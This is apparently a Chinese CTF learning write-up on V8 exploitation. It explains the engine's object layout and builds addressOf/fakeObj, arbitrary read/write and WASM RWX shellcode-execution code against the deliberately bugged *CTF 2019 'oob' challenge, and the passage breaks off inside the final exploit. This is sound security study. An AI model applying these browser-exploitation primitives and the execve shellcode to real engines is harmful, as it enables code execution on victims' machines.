前几天在7resp4ss师傅的推荐下,准备学习一波v8漏洞。
在这里记录一下漏洞分析过程
首先我们需要知道v8是什么
----以下内容来自维基百科
1 2 3 4 5 6 7 | V8是一个由Google开发的开源JavaScript引擎,用于Google Chrome及Chromium中[ 3 ],项目以V8发动机其命名。此项目由Lars Bak主导开发。 V8在执行之前将JavaScript编译成了机器代码,而非字节码或是解释执行它,以此提升性能。更进一步,使用了如内联缓存(inline caching)等方法来提高性能。有了这些功能,JavaScript程序与V8引擎的速度媲美二进制编译。[ 6 ] 传统的Javascript是动态语言,又可称之为Prototype - based Language,JavaScript继承方法是使用prototype,透过指定prototype属性,便可以指定要继承的目标。属性可以在运行时添加到或从对象中删除,引擎会为执行中的物件建立一个属性字典,新的属性都要透过字典查找属性在内存中的位置。V8为 object 新增属性的时候,就以上次的hidden class 为父类别,创建新属性的hidden class 的子类别,如此一来属性访问不再需要动态字典查找了。 为了缩短由垃圾回收造成的停顿,V8使用stop - the - world, generational, accurate的垃圾回收器[ 7 ]。在执行回收之时会暂时中断程序的执行,而且只处理物件堆栈。还会收集内存内所有物件的指针,可以避免内存溢出的情况。V8汇编器是基于Strongtalk汇编器。 |
我们可以看到在对v8引擎的解释中,特意强调了v8收集了内存中所有的指针避免了内存溢出。那么我们该如何去攻击提权呢,抱着这样的疑问,我们开始对漏洞进行逐步分析
首先需要准备一个Ubuntu18.04版本的虚拟机,由于v8的网址在外网,所以接着就是配置VMware的代理,参考这个文章
也可以用命令行git config --global --edit
对git代理进行配置
1 | sudo apt install bison cdbs curl flex g + + git python vim pkg - config |
1 2 | git clone https: / / chromium.googlesource.com / chromium / tools / depot_tools.git echo 'export PATH=$PATH:"/path/to/depot_tools"' >> ~ / .bashrc |
1 2 3 | git clone https: / / github.com / ninja - build / ninja.git cd ninja && . / configure.py - - bootstrap && cd .. echo 'export PATH=$PATH:"/path/to/ninja"' >> ~ / .bashrc |
1 2 | fetch v8 . / v8 / build / install - build - deps.sh - - no - chromeos - fonts |
编译任意版本的脚本
1 2 3 4 5 6 7 8 9 10 11 | VER = $ 1 if [ - z $ 2 ];then NAME = $VER else NAME = $ 2 fi cd v8 git reset - - hard $VER gclient sync - D gn gen out / x64_$NAME.release - - args = 'v8_monolithic=true v8_use_external_startup_data=false is_component_build=false is_debug=false target_cpu="x64" use_goma=false goma_dir="None" v8_enable_backtrace=true v8_enable_disassembler=true v8_enable_object_print=true v8_enable_verify_heap=true' ninja - C out / x64_$NAME.release d8 |
执行该脚本加上版本参数即可编译v8
最后编译成功输出的位置在./out/x64_9.6.180.6.debug/d8
刚开始用Ubuntu18.04直接安装pwndbg,但是在过程中发生报错。
之后查了以下github发现最新版本的pwndbg已经不支持Ubuntu18.04 python3.6.9了
于是乎我们直接下载最后一版适用Ubuntu18.04的版本(必须要用git clone,否则会报错)
1 | cd ~ && git clone https: / / github.com / pwndbg / pwndbg.git - - branch 2023.07 . 17 - - depth 1 |
接下来使用setup.sh进行安装(如果是刚安装的Ubuntu,建议先更新以下pip3或者安装pwntools,让用户目录下有.local/lib/python3.6/site-packages/pwnlib
目录)
1 2 3 4 5 6 7 8 9 10 | cd ~ / git clone https: / / github.com / scwuaptx / Pwngdb.git cp ~ / Pwngdb / .gdbinit ~ / #将.gdbinit文件中加入一行source /home/hacker/pwndbg/gdbinit.py #将v8相关的gdb配置文件加入.gdbinit中 $ cp v8 / tools / gdbinit gdbinit_v8 $ cat ~ / .gdbinit source / home / ubuntu / pwndbg / gdbinit.py source / home / ubuntu / gdbinit_v8 |
1 2 3 4 5 | sudo apt - get update #sudo apt-get remove docker docker-engine docker.io sudo apt install docker.io sudo systemctl start docker sudo systemctl enable docker |
众所周知,研究v8漏洞的朋友,做的最痛苦的事情应该就是回滚不同版本的v8引擎了。
为了解决这一难题,docker便应运而生,docker号称一次编译,处处运行,那可不是吹的。
-----此方法来自大神Hcamael
因此我们可以使用docker来存储我们每次编译的v8版本状态
首先克隆一个docker-v8项目
1 | git clone https: / / github.com / andreburgaud / docker - v8.git |
修改Makefile
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 | $ cat Makefile TAG: = $(tag) IMAGE: = hcamael / v8 default: help help : @echo 'V8/D8 ${TAG} Docker image build file' @echo @echo 'Usage:' @echo ' make clean Delete dangling images and d8 images' @echo ' make build Build the d8 image using local Dockerfile' @echo ' make push Push an existing image to Docker Hub' @echo ' make deploy Clean, build and push image to Docker Hub' @echo ' make github Tag the project in GitHub' @echo build: docker build - - build - arg V8_VERSION = ${TAG} - t ${IMAGE}:${TAG} . clean: # Remove containers with exited status: docker rm `docker ps - a - f status = exited - q` || true docker rmi ${IMAGE}:latest || true docker rmi ${IMAGE}:${TAG} || true # Delete dangling images docker rmi `docker images - f dangling = true - q` || true push: docker push docker.io / ${IMAGE}:${TAG} docker tag ${IMAGE}:${TAG} docker.io / ${IMAGE}:latest docker push docker.io / ${IMAGE}:latest deploy: clean build push github: git push git tag - a ${TAG} - m 'Version ${TAG}' git push origin - - tags .PHONY: help build clean push deploy github |
修改Dockerfile,这里记得将路径根据本地环境修改一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | $ cat Dockerfile FROM debian:stable - slim RUN sed - i 's/deb.debian.org/mirrors.ustc.edu.cn/g' / etc / apt / sources. list RUN apt - get update && apt - get upgrade - yqq && \ DEBIAN_FRONTEND = noninteractive apt - get install curl rlwrap vim - yqq gdb && \ apt - get clean ARG V8_VERSION = latest ENV V8_VERSION = $V8_VERSION LABEL v8.version = $V8_VERSION \ maintainer = "test@admin.com" WORKDIR / v8 COPY / out / x64_$V8_VERSION.release / d8 . / COPY vimrc / root / .vimrc COPY entrypoint.sh / RUN chmod + x / entrypoint.sh && \ mkdir / examples && \ ln - s / v8 / d8 / usr / local / bin / d8 ENTRYPOINT [ "/entrypoint.sh" ] |
将之前build.sh生成的编译好的./out/x64_9.6.180.6.debug/d8
,out文件夹移动到docker-v8目录下
执行Makefile中的docker命令
1 | sudo docker build - - build - arg V8_VERSION = 9.6 . 180.6 - t v8: 9.6 . 180.6 . |
删除镜像
1 | docker rmi - - force <镜像 ID > #--force用于删除不掉的情况 |
启动镜像
1 | sudo docker run - it v8: 9.6 . 180.6 #-it以交互的形式启动,不加这个参数会闪退 |
停止容器
1 2 3 | docker stop <容器 ID > #如果出现问题 docker kill <容器 ID > |
如果想研究v8内核,了解JavaScript代码底层实现是必不可少的一步。
我们通过gdb调试来逐步分析js类型对象的储存布局
首先在d8目录下编写一个简单的test.js
1 2 3 | var a = [ 1 , 2 , 3 ]; % DebugPrint(a); % SystemBreak(); |
用gdb调试得到a的地址
使用job查看以下该地址的内容
可以直观的看到a的内存布局,其中数组a的内容被存入elements中
这是由于JavaScript Core(WebKit JS引擎)使用了NaN-boxing将类型信息和变量内容存储在64位浮点内。v8使用标记指针来做到这点。同时由于64位对齐方式,导致二进制下指针的后两位将始终为0不会被使用。于是乎,v8便使用最后一位来表示某些类型信息。
例如:
对于指针,v8始终将最后一位设为1,如果该位为1,则表示我们正在处理指针。这也代表着如果我们想用指针必须要-1n。同时也解释了为什么我们在gdb调试的指针地址都是以1,9结尾
1 | xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx 1 |
对于小整数(SMI),最后一位将设置为0,这意味着32位系统上的小整数为31位长。
在64位系统上,它的工作略有不同 – SMI为32位,低32位始终设为0:
1 | xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx 0 |
1 | xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx 00000000000000000000000000000000 |
这也解释了为什么我们在gdb调试的时候job 指针地址-1,会被当做SMI
从上面的实验我们也能得到js中对象的内存布局
ArrayObject ---->-------------------------+
| map |
+------------------------+
| property |
+------------------------+
| elements 指针 |
| +
+------------------------+
| length |
+------------------------+
| properties |
+------------------------+
其中第一个指针map(Hidden Class)指向的是对象的Map值,Map值用来描述对象的整个布局,这个指针很重要,我们之后进行漏洞利用都是依靠修改对象的map值来做到
第二个指针property指向该对象的属性。
第三个指针elements是指向对象元素的指针。即存储对象内容的指针。从某种角度上来说,对象元素的内容也是对象属性。那么就要问了,property,elements都是指向对象属性的,这两个有什么区别呢。
经查阅资料:
Properties
中,可索引属性存放在 Elements
中。目前我们只需要关注map和elements即可
做过pwner的童鞋应该知道,我们如果做normal栈溢出堆溢出,都是直接下载二进制文件,然后反编译看源码,找到源码中的漏洞,然后通过pwntools进行攻击,而我们接下来要研究的v8题目,和Linux内核漏洞相似题目都是将v8内核源代码进行修改,然后直接编写JavaScript代码产生漏洞提权。
简单的v8漏洞利用会有一个通用的模板思想,接下来我会逐个分析每个模块的内容。
我们前面知道了对象的整个布局,既然每个对象的内存结构都一致,那我们使用a[0]或b[0]进行取值的时候,js是怎么判断结构类型的呢。经查阅,js是通过查看map的值来确定
那假如说,我们可以通过某种方式修改对象的map值,那我们是不是就能将对象数组转为浮点型数组
a[0] = c;(c是一个对象),正常来说取a[0]的值为对象c,但我们将其转为浮点型数组,再取a[0]得到的值便是对象c的地址。
由此,我们就可以做到任意对象地址读的效果。也就是addressOf的实现思想
既然我们能够将对象转为浮点型,那我们也可以将浮点型转为对象数组。
假设我们的到了对象e的地址addr,那么我该如何得到这个对象呢?首先我们将addr+1的值存入a[0],之后修改map值,再取a[0]得到的便是对象e。
至于说为啥要将addr+1,相信认真看了JavaScript章节内容的朋友都明白
我们通过将浮点型转为对象数组不光可以得到已知的对象,还可以伪造我们自己编写的对象。
fake_array
1 2 3 4 | var fake_array = [ double_array_map, itof( 0x4141414141414141n ) ]; |
我们首先可以使用addressOf(fake_array)得到fake_array的地址,之后我们便可以根据调试得到fake_array真实存储元素的地址偏移,得到我们伪造的Object地址。之后通过fakeObj函数便可以得到我们伪造的对象。
这里可能有同学不太明白,为什么我们明明有了一个addressOf可以获取地址,还需要这个read函数。
这是因为我们之前addressOf得到的是指针的值。而read得到的是指针指向的指针的值,之后我们分析一道例题,仔细观察以下例题中read函数的用法即可。
1 2 3 4 5 | function read64(addr) { fake_array[ 1 ] = itof(addr - 0x8n + 0x1n ); return fake_object[ 0 ]; } |
其中地址大致如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | + - - - > elements + - - - > + - - - - - - - - - - - - - - - + | | | | + - - - - - - - - - - - - - - - + | | | | + - - - - - - - - - - - - - - - + fakeObject + - - - - - - - - - - - - - - + | |fake_array[ 0 ] | + - - - - - - - - - - > | map | | + - - - - - - - - - - - - - - - + + - - - - - - - - - - - - - - + 想要 读 或 改 的 | |fake_array[ 1 ] | | prototype | 内 存 | + - - - - - - - - - - - - - - - + + - - - - - - - - - - - - - - + + - - - - - - - - - - - - - + | |fake_array[ 2 ] | | elements | + - - - - - - > | | | + - - - - - - - - - - - - - - - + + - - - - - - - - - - - - - - + | | | | | | | | | | | | | | | | | fake_array + - - > + - - - - - - - - - - - - - - - + | | | | | | map | | | | | | + - - - - - - - - - - - - - - - + | | | | | | prototype | + - - - - - - - - - - - - - - + | | | + - - - - - - - - - - - - - - - + | | + - - - - - - - - - - - - - - - - - - - - + elements | | | + - - - - - - - - - - - - - - - + | | | length | | | + - - - - - - - - - - - - - - - + | | | properties | | | + - - - - - - - - - - - - - - - + + - - - - - - - - - - - - - + |
这里用一个小实例来看一下为啥需要addr-某个值
这个是我们构建的fake_array的内容
这个是我们想要泄露内容的double_array地址
既然我们能够通过fake_object进行读取任意地址,那么我们也可以通过该数组进行任意写操作
1 2 3 4 5 | function write64(addr, data) { fake_array[ 1 ] = itof(addr - 0x8n + 0x1n ); fake_object[ 0 ] = itof(data); } |
既然我们能够任意地址读写了,那我们该想想怎么利用了,我们的目标是让程序执行shellcode。那我们首先得找到一个rwxp的内存区域来存放我们的shellcode。
我们找到JavaScript的一种技术WASM(webassembly),只有低版本有WASM高版本已经不支持了,可以让js直接执行高级语言生成的机器码
这个时候我们用wasm直接执行恶意机器码就可以攻击成功了~吗?当然没这么简单,WASM不允许通过浏览器直接调用系统函数。wasm中只能运行数学计算、图像处理等系统无关的高级语言代码。
但这不妨碍我们通过上面学习的利用方式将WASM可执行代码段的内容篡改为shellcode。
我们用gdb调试尝试去找一下存放WASM代码的地址
1 2 3 4 5 6 7 8 9 | % SystemBreak(); var wasmCode = new Uint8Array([ 0 , 97 , 115 , 109 , 1 , 0 , 0 , 0 , 1 , 133 , 128 , 128 , 128 , 0 , 1 , 96 , 0 , 1 , 127 , 3 , 130 , 128 , 128 , 128 , 0 , 1 , 0 , 4 , 132 , 128 , 128 , 128 , 0 , 1 , 112 , 0 , 0 , 5 , 131 , 128 , 128 , 128 , 0 , 1 , 0 , 1 , 6 , 129 , 128 , 128 , 128 , 0 , 0 , 7 , 145 , 128 , 128 , 128 , 0 , 2 , 6 , 109 , 101 , 109 , 111 , 114 , 121 , 2 , 0 , 4 , 109 , 97 , 105 , 110 , 0 , 0 , 10 , 138 , 128 , 128 , 128 , 0 , 1 , 132 , 128 , 128 , 128 , 0 , 0 , 65 , 42 , 11 ]); var wasmModule = new WebAssembly.Module(wasmCode); var wasmInstance = new WebAssembly.Instance(wasmModule, {}); var f = wasmInstance.exports.main; % DebugPrint(f); % DebugPrint(wasmInstance); % SystemBreak(); |
得到f和wasmInstance的地址
我们来查看一下f的结构
可以发现结构中含有WASM instance的地址即代码中wasmInstance的地址
我们看一下shared_info的内容
再看一下data
可以发现f中shared_info中data中的instance就是wasmInstance,我们来查看一下内存
再查看一下instance
可以找到instance地址和可读可写可执行段的偏移。之后我们可以通过read找到instance地址通过偏移找到可读可写可执行段。再通过write函数将shellcode写入,wasm便可执行shellcode。
但成功的道路往往比较曲折,我们试验一下会发现当我们使用write写入shellcode的时候,会因为一些问题报错
例如:
因此我们要另辟蹊径
在JavaScript中有一个ArrayBuffer类可以作为二进制数据的容器,同时有一个接口DataView可以从ArrayBuffer对象中读写多种数据类型。因此,我们可以通过这个类和接口来实现写shellcode操作
我们来尝试一下
1 2 3 4 5 6 7 | var data_buf = new ArrayBuffer( 0x10 ); var data_view = new DataView(data_buf); data_view.setFloat64( 0 , 2.0 , true); % DebugPrint(data_buf); % DebugPrint(data_view); % SystemBreak(); |
先看一下databuf的结构
再看一下其中backing_store的内存结构
2.0的十六进制为0x4000000000000000
,所以我们可以发现我们使用DataView存储2.0的位置在ArrayBuffer对象的backing_store属性中,那我们接下来看一下backing_store在ArrayBuffer对象内存结构中的偏移,这个根据环境不同而不同
可以发现backing_store在databuf+0x20的位置,接下来就可以使用write函数将其改为可执行页首地址,并写入shellcode了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | function copy_shellcode_to_rwx(shellcode, rwx_addr) { var data_buf = new ArrayBuffer(shellcode.length * 8 ); var data_view = new DataView(data_buf); var buf_backing_store_addr_lo = addressOf(data_buf) + 0x18n ; var buf_backing_store_addr_up = buf_backing_store_addr_lo + 0x8n ; var lov = d2u(read64(buf_backing_store_addr_lo))[ 0 ]; var rwx_page_addr_lo = u2d(lov, d2u(rwx_addr)[ 0 ]); var hiv = d2u(read64(buf_backing_store_addr_up))[ 1 ]; var rwx_page_addr_hi = u2d(d2u(rwx_addr, hiv)[ 1 ]); var buf_backing_store_addr = ftoi(u2d(lov, hiv)); console.log( "buf_backing_store_addr: 0x" + hex (buf_backing_store_addr)); write64(buf_backing_store_addr_lo, ftoi(rwx_page_addr_lo)); write64(buf_backing_store_addr_up, ftoi(rwx_page_addr_hi)); for (let i = 0 ; i < shellcode.length; + + i) data_view.setFloat64(i * 8 , itof(shellcode[i]), true); } |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 | var wasmCode = new Uint8Array([ 0 , 97 , 115 , 109 , 1 , 0 , 0 , 0 , 1 , 133 , 128 , 128 , 128 , 0 , 1 , 96 , 0 , 1 , 127 , 3 , 130 , 128 , 128 , 128 , 0 , 1 , 0 , 4 , 132 , 128 , 128 , 128 , 0 , 1 , 112 , 0 , 0 , 5 , 131 , 128 , 128 , 128 , 0 , 1 , 0 , 1 , 6 , 129 , 128 , 128 , 128 , 0 , 0 , 7 , 145 , 128 , 128 , 128 , 0 , 2 , 6 , 109 , 101 , 109 , 111 , 114 , 121 , 2 , 0 , 4 , 109 , 97 , 105 , 110 , 0 , 0 , 10 , 138 , 128 , 128 , 128 , 0 , 1 , 132 , 128 , 128 , 128 , 0 , 0 , 65 , 42 , 11 ]); var wasmModule = new WebAssembly.Module(wasmCode); var wasmInstance = new WebAssembly.Instance(wasmModule, {}); var f = wasmInstance.exports.main; var f64 = new Float64Array( 1 ); var bigUint64 = new BigUint64Array(f64. buffer ); var u32 = new Uint32Array(f64. buffer ); function d2u(v) { f64[ 0 ] = v; return u32; } function u2d(lo, hi) { u32[ 0 ] = lo; u32[ 1 ] = hi; return f64[ 0 ]; } function ftoi(f) { f64[ 0 ] = f; return bigUint64[ 0 ]; } function itof(i) { bigUint64[ 0 ] = i; return f64[ 0 ]; } function hex (i) { return i.toString( 16 ).padStart( 8 , "0" ); } function fakeObj(addr_to_fake) { ? } function addressOf(obj_to_leak) { ? } function read64(addr) { fake_array[ 1 ] = itof(addr - 0x8n + 0x1n ); return fake_object[ 0 ]; } function write64(addr, data) { fake_array[ 1 ] = itof(addr - 0x8n + 0x1n ); fake_object[ 0 ] = itof(data); } function copy_shellcode_to_rwx(shellcode, rwx_addr) { var data_buf = new ArrayBuffer(shellcode.length * 8 ); var data_view = new DataView(data_buf); var buf_backing_store_addr_lo = addressOf(data_buf) + 0x18n ; var buf_backing_store_addr_up = buf_backing_store_addr_lo + 0x8n ; var lov = d2u(read64(buf_backing_store_addr_lo))[ 0 ]; var rwx_page_addr_lo = u2d(lov, d2u(rwx_addr)[ 0 ]); var hiv = d2u(read64(buf_backing_store_addr_up))[ 1 ]; var rwx_page_addr_hi = u2d(d2u(rwx_addr, hiv)[ 1 ]); var buf_backing_store_addr = ftoi(u2d(lov, hiv)); console.log( "[*] buf_backing_store_addr: 0x" + hex (buf_backing_store_addr)); write64(buf_backing_store_addr_lo, ftoi(rwx_page_addr_lo)); write64(buf_backing_store_addr_up, ftoi(rwx_page_addr_hi)); for (let i = 0 ; i < shellcode.length; + + i) data_view.setFloat64(i * 8 , itof(shellcode[i]), true); } var double_array = [ 1.1 ]; var obj = { "a" : 1 }; var obj_array = [obj]; var array_map = ?; var obj_map = ?; var fake_array = [ array_map, itof( 0x4141414141414141n ) ]; fake_array_addr = addressOf(fake_array); console.log( "[*] leak fake_array addr: 0x" + hex (fake_array_addr)); fake_object_addr = fake_array_addr - 0x10n ; var fake_object = fakeObj(fake_object_addr); var wasm_instance_addr = addressOf(wasmInstance); console.log( "[*] leak wasm_instance addr: 0x" + hex (wasm_instance_addr)); var rwx_page_addr = read64(wasm_instance_addr + 0x68n ); console.log( "[*] leak rwx_page_addr: 0x" + hex (ftoi(rwx_page_addr))); var shellcode = [ 0x2fbb485299583b6an , 0x5368732f6e69622fn , 0x050f5e5457525f54n ]; copy_shellcode_to_rwx(shellcode, rwx_page_addr); f(); |
接下来我便通过例题实战带大家明白其模板EXP的用法
环境搭建
1 2 3 4 5 6 7 | $ git clone https: / / github.com / sixstars / starctf2019.git $ cd v8 $ git reset - - hard 6dc88c191f5ecc5389dc26efa3ca0907faef3598 $ git apply .. / starctf2019 / pwn - OOB / oob.diff $ gclient sync - D $ gn gen out / x64_startctf.release - - args = 'v8_monolithic=true v8_use_external_startup_data=false is_component_build=false is_debug=false target_cpu="x64" use_goma=false goma_dir="None" v8_enable_backtrace=true v8_enable_disassembler=true v8_enable_object_print=true v8_enable_verify_heap=true' $ ninja - C out / x64_startctf.release d8 |
(原作者这里说在build.sh
中,在git reset
命令后加一句git apply ../starctf2019/pwn-OOB/oob.diff
,就能使用build.sh 6dc88c191f5ecc5389dc26efa3ca0907faef3598 starctf2019
一键编译。但是我用脚本编译会报错,导致我浪费了很多时间,不知道是不是因为只能用x64_startctf.release
不能用x64_startctf2019.release
)
在ctf中浏览器内核相关的题目,会给一个.diff文件,告诉你修改了哪些内容。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 | diff - - git a / src / bootstrapper.cc b / src / bootstrapper.cc index b027d36..ef1002f 100644 - - - a / src / bootstrapper.cc + + + b / src / bootstrapper.cc @@ - 1668 , 6 + 1668 , 8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object, Builtins::kArrayPrototypeCopyWithin, 2 , false); SimpleInstallFunction(isolate_, proto, "fill" , Builtins::kArrayPrototypeFill, 1 , false); + SimpleInstallFunction(isolate_, proto, "oob" , + Builtins::kArrayOob, 2 ,false); SimpleInstallFunction(isolate_, proto, "find" , Builtins::kArrayPrototypeFind, 1 , false); SimpleInstallFunction(isolate_, proto, "findIndex" , diff - - git a / src / builtins / builtins - array.cc b / src / builtins / builtins - array.cc index 8df340e .. 9b828ab 100644 - - - a / src / builtins / builtins - array.cc + + + b / src / builtins / builtins - array.cc @@ - 361 , 6 + 361 , 27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate * isolate, return * final_length; } } / / namespace + BUILTIN(ArrayOob){ + uint32_t len = args.length(); + if ( len > 2 ) return ReadOnlyRoots(isolate).undefined_value(); + Handle<JSReceiver> receiver; + ASSIGN_RETURN_FAILURE_ON_EXCEPTION( + isolate, receiver, Object ::ToObject(isolate, args.receiver())); + Handle<JSArray> array = Handle<JSArray>::cast(receiver); + FixedDoubleArray elements = FixedDoubleArray::cast(array - >elements()); + uint32_t length = static_cast<uint32_t>(array - >length() - >Number()); + if ( len = = 1 ){ + / / read + return * (isolate - >factory() - >NewNumber(elements.get_scalar(length))); + } else { + / / write + Handle< Object > value; + ASSIGN_RETURN_FAILURE_ON_EXCEPTION( + isolate, value, Object ::ToNumber(isolate, args.at< Object >( 1 ))); + elements. set (length,value - >Number()); + return ReadOnlyRoots(isolate).undefined_value(); + } + } BUILTIN(ArrayPush) { HandleScope scope(isolate); diff - - git a / src / builtins / builtins - definitions.h b / src / builtins / builtins - definitions.h index 0447230. .f113a81 100644 - - - a / src / builtins / builtins - definitions.h + + + b / src / builtins / builtins - definitions.h @@ - 368 , 6 + 368 , 7 @@ namespace internal { TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \ / * https: / / tc39.github.io / proposal - flatMap / #sec-Array.prototype.flatMap */ \ TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \ + CPP(ArrayOob) \ \ / * ArrayBuffer * / \ / * ES #sec-arraybuffer-constructor */ \ diff - - git a / src / compiler / typer.cc b / src / compiler / typer.cc index ed1e4a5..c199e3a 100644 - - - a / src / compiler / typer.cc + + + b / src / compiler / typer.cc @@ - 1680 , 6 + 1680 , 8 @@ Type Typer::Visitor::JSCallTyper( Type fun, Typer * t) { return Type ::Receiver(); case Builtins::kArrayUnshift: return t - >cache_ - >kPositiveSafeInteger; + case Builtins::kArrayOob: + return Type ::Receiver(); / / ArrayBuffer functions. case Builtins::kArrayBufferIsView: |
这题给了一个oob函数,不知道是干嘛的,先测试一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | $ cat test.js var f64 = new Float64Array( 1 ); var bigUint64 = new BigUint64Array(f64. buffer ); function ftoi(f) { f64[ 0 ] = f; return bigUint64[ 0 ]; } function itof(i) { bigUint64[ 0 ] = i; return f64[ 0 ]; } function hex (i) { return i.toString( 16 ).padStart( 8 , "0" ); } var a = [ 2.1 ]; var x = a.oob(); console.log( "x is 0x" + hex (ftoi(x))); % DebugPrint(a); % SystemBreak(); a.oob( 2.1 ); % SystemBreak(); |
可以发现a.oob()的值为a的map值,继续调试
之后job a的地址发生了段错误,我们重新调试一下,这次使用x/16gx来调试
这是执行a.oob(2.1)之前
这是执行之后
我们发现其中map的值被改为了2.1的浮点数
既然有了漏洞点,那我们接下来就可以套模板写各种函数和EXP了,开写!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | var double_array = [ 1.1 ]; var obj = { "a" : 1 }; var obj_array = [obj]; var array_map = double_array.oob(); var obj_map = obj_array.oob(); function addressOf(obj_to_leak) { obj_array[ 0 ] = obj_to_leak; obj_array.oob(array_map); / / 把obj数组的 map 地址改为浮点型数组的 map 地址 let obj_addr = ftoi(obj_array[ 0 ]) - 1n ; obj_array.oob(obj_map); / / 把obj数组的 map 地址改回来,以便后续使用 return obj_addr; } function fakeObj(addr_to_fake) { double_array[ 0 ] = itof(addr_to_fake + 1n ); double_array.oob(obj_map); / / 把浮点型数组的 map 地址改为对象数组的 map 地址 let faked_obj = double_array[ 0 ]; double_array.oob(array_map); / / 改回来,以便后续需要的时候使用 return faked_obj; } |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | / / 注意这里因为是旧版的v8,没有对地址进行压缩,所以 map 域和length域都占了 64bit ,因此这里需要进行些许修改 var fake_array = [ array_map, itof( 0n ), itof( 0x41414141n ), itof( 0x100000000n ), ]; function read64(addr) { fake_array[ 2 ] = itof(addr - 0x10n + 0x1n ); return fake_object[ 0 ]; } function write64(addr, data) { fake_array[ 2 ] = itof(addr - 0x10n + 0x1n ); fake_object[ 0 ] = itof(data); } |
我们调试一下程序去寻找一下instance和可执行页的偏移,具体如何找偏移在模板那节已经介绍过了,接下来就简述一下
我们找到instance的内存区域
再输入vmmap
可以发现可执行段在instance+0x88的位置,接下来便可以写完整的EXP了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 | var wasmCode = new Uint8Array([ 0 , 97 , 115 , 109 , 1 , 0 , 0 , 0 , 1 , 133 , 128 , 128 , 128 , 0 , 1 , 96 , 0 , 1 , 127 , 3 , 130 , 128 , 128 , 128 , 0 , 1 , 0 , 4 , 132 , 128 , 128 , 128 , 0 , 1 , 112 , 0 , 0 , 5 , 131 , 128 , 128 , 128 , 0 , 1 , 0 , 1 , 6 , 129 , 128 , 128 , 128 , 0 , 0 , 7 , 145 , 128 , 128 , 128 , 0 , 2 , 6 , 109 , 101 , 109 , 111 , 114 , 121 , 2 , 0 , 4 , 109 , 97 , 105 , 110 , 0 , 0 , 10 , 138 , 128 , 128 , 128 , 0 , 1 , 132 , 128 , 128 , 128 , 0 , 0 , 65 , 42 , 11 ]); var wasmModule = new WebAssembly.Module(wasmCode); var wasmInstance = new WebAssembly.Instance(wasmModule, {}); var f = wasmInstance.exports.main; var f64 = new Float64Array( 1 ); var bigUint64 = new BigUint64Array(f64. buffer ); function ftoi(f) { f64[ 0 ] = f; return bigUint64[ 0 ]; } function itof(i) { bigUint64[ 0 ] = i; return f64[ 0 ]; } function hex (i) { return i.toString( 16 ).padStart( 8 , "0" ); } function fakeObj(addr_to_fake) { double_array[ 0 ] = itof(addr_to_fake + 1n ); double_array.oob(obj_map); / / 把浮点型数组的 map 地址改为对象数组的 map 地址 let faked_obj = double_array[ 0 ]; double_array.oob(array_map); / / 改回来,以便后续需要的时候使用 return faked_obj; } function addressOf(obj_to_leak) { obj_array[ 0 ] = obj_to_leak; obj_array.oob(array_map); / / 把obj数组的 map 地址改为浮点型数组的 map 地址 let obj_addr = ftoi(obj_array[ 0 ]) - 1n ; obj_array.oob(obj_map); / / 把obj数组的 map 地址改回来,以便后续使用 return obj_addr; } function read64(addr) { fake_array[ 2 ] = itof(addr - 0x10n + 0x1n ); return fake_object[ 0 ]; } function write64(addr, data) { fake_array[ 2 ] = itof(addr - 0x10n + 0x1n ); fake_object[ 0 ] = itof(data); } function copy_shellcode_to_rwx(shellcode, rwx_addr) { var data_buf = new ArrayBuffer(shellcode.length * 8 ); var data_view = new DataView(data_buf); var buf_backing_store_addr = addressOf(data_buf) + 0x20n ; console.log( "[*] buf_backing_store_addr: 0x" + hex (buf_backing_store_addr)); write64(buf_backing_store_addr, ftoi(rwx_addr)); for (let i = 0 ; i < shellcode.length; + + i) data_view.setFloat64(i * 8 , itof(shellcode[i]), true); } var double_array = [ 1.1 ]; var obj = { "a" : 1 }; var obj_array = [obj]; var array_map = double_array.oob(); var obj_map = obj_array.oob(); var fake_array = [ array_map, itof( 0n ), itof( 0x41414141n ), itof( 0x100000000n ), ]; fake_array_addr = addressOf(fake_array); console.log( "[*] leak fake_array addr: 0x" + hex (fake_array_addr)); fake_object_addr = fake_array_addr + 0x30n ; var fake_object = fakeObj(fake_object_addr); var wasm_instance_addr = addressOf(wasmInstance); console.log( "[*] leak wasm_instance addr: 0x" + hex (wasm_instance_addr)); var rwx_page_addr = read64(wasm_instance_addr + 0x88n ); console.log( "[*] leak rwx_page_addr: 0x" + hex (ftoi(rwx_page_addr))); var shellcode = [ 0x2fbb485299583b6an , 